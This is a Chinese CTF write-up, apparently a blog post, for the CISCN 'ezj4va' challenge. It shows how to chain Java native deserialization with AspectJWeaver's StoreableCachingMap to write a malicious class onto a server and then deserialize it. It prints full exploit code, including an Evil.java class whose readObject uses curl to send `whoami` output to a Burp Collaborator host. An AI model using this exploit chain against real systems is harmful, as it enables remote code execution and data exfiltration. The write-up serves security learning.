目录
前言
原理分析
step 0
step 1
EXP
前文:【Web】浅聊Java反序列化之AspectJWeaver——任意文件写入-CSDN博客
前言
这就是当年传说中的零解题嘛😭,快做🤮了
有了之前的经验,思路顺挺快的,中间不知道为啥一直一直一直一直报错,耗了一个下午总算打通
考的是AspectJWeaver写恶意字节码到靶机上(本题jsp靶机不解析),再去对其进行反序列化
值得一提的是,本题并未在输入流进行黑名单过滤,事实上就是纯粹的原生反序列化,但因该jdk下无利用链可打,所以只能先迂回写入一个恶意类,再对这个恶意类进行反序列化操作,实在是巧思!
原理分析
step 0
先看pom依赖
当时是2021年,Y4👴还没有公开fj原生反序列化的姿势,所以可以排除(
自然关注的重点会落在AspectJWeaver上,其可以实现任意文件写入(具体细节请看最开始给的文章,不作赘述)
问题是文章里给的姿势是利用CC依赖下LazyMap#get触发StoreableCachingMap#put从而写文件的,题目没有给CC依赖怎么破呢?
自然是要去利用题目自定义的类的哇,这里暂按下不表
此外,拿到源码后我们知晓了靶机的目录结构,方便我们后续利用
step 1
再来看路由
/cart/add
接受skus和cart两个参数,然后作为入参调用cartService.addToCart
addToCart方法就是对传入数据分别进行原生反序列化,将cart的SkuDescribe属性作为Map,将toAdd的SkuDescibe属性作为entry,并分别取其K V对put进Map中
如果令Map为精心构造folder属性的StoreableCachingMap,K V分别为恶意文件名和恶意字节码文件内容的话,我们就可以在靶机写入任意恶意字节码文件,属实太妙了(具体请看EXP构造)
再看/cart/query路由
对由cookie传入的cart值进行cartService#query操作
这里其实就是直接进行反序列化操作了,但题目的jdk下并没有原生反序列化的链子,所以我们无法直接进行利用,只能多走一步,去反序列化我们写入的恶意类
思路并不复杂,话休絮烦,直接给EXP
EXP
EXP.java
package ciscn.fina1.ezj4va;
import ciscn.fina1.ezj4va.domain.Cart;
import ciscn.fina1.ezj4va.utils.Serializer;
import javassist.ClassPool;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
public class Exp {
protected static String getSkus() {
try {
Cart cart = new Cart();
Field sku_f = cart.getClass().getDeclaredField("skuDescribe");
sku_f.setAccessible(true);
HashMap hashMap = new HashMap<>();
String bytes = Base64.getEncoder().encodeToString(ClassPool.getDefault().get(Evil.class.getName()).toBytecode());
hashMap.put("Evil.class", Base64.getDecoder().decode(bytes));
sku_f.set(cart, hashMap);
return Serializer.serialize(cart);
} catch (Exception e) {
e.printStackTrace();
}
return "";
}
protected static String getOldCart() {
try {
Cart cart = new Cart();
Field sku_f = cart.getClass().getDeclaredField("skuDescribe");
sku_f.setAccessible(true);
Class clazz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Constructor constructor = clazz.getDeclaredConstructors()[0];
constructor.setAccessible(true);
Object o = constructor.newInstance("/ctf/ezj4va/app/target/classes/ciscn/fina1/ezj4va", 1);
sku_f.set(cart, o);
return Serializer.serialize(cart);
} catch (Exception e) {
e.printStackTrace();
}
return "";
}
public static void main(String[] args) throws Exception {
String oldCartStr = getOldCart();
String skus = getSkus();
Evil evil = new Evil();
System.out.println(oldCartStr);
System.out.println(skus);
System.out.println(Serializer.serialize(evil));
}
}
Evil.java
package ciscn.fina1.ezj4va;
import java.io.Serializable;
public class Evil implements Serializable {
private void readObject(java.io.ObjectInputStream s) throws Exception{
Runtime.getRuntime().exec(new String[]{"/bin/sh","-c","curl http://lpe59sb790s5tlrgmet6za2aj1psdh.burpcollaborator.net?a=`whoami`"});
}
}
先访问/cart/add写入恶意字节码文件
再访问/cart/query来反序列化利用写入的恶意类
用bp起一个dnslog来外带数据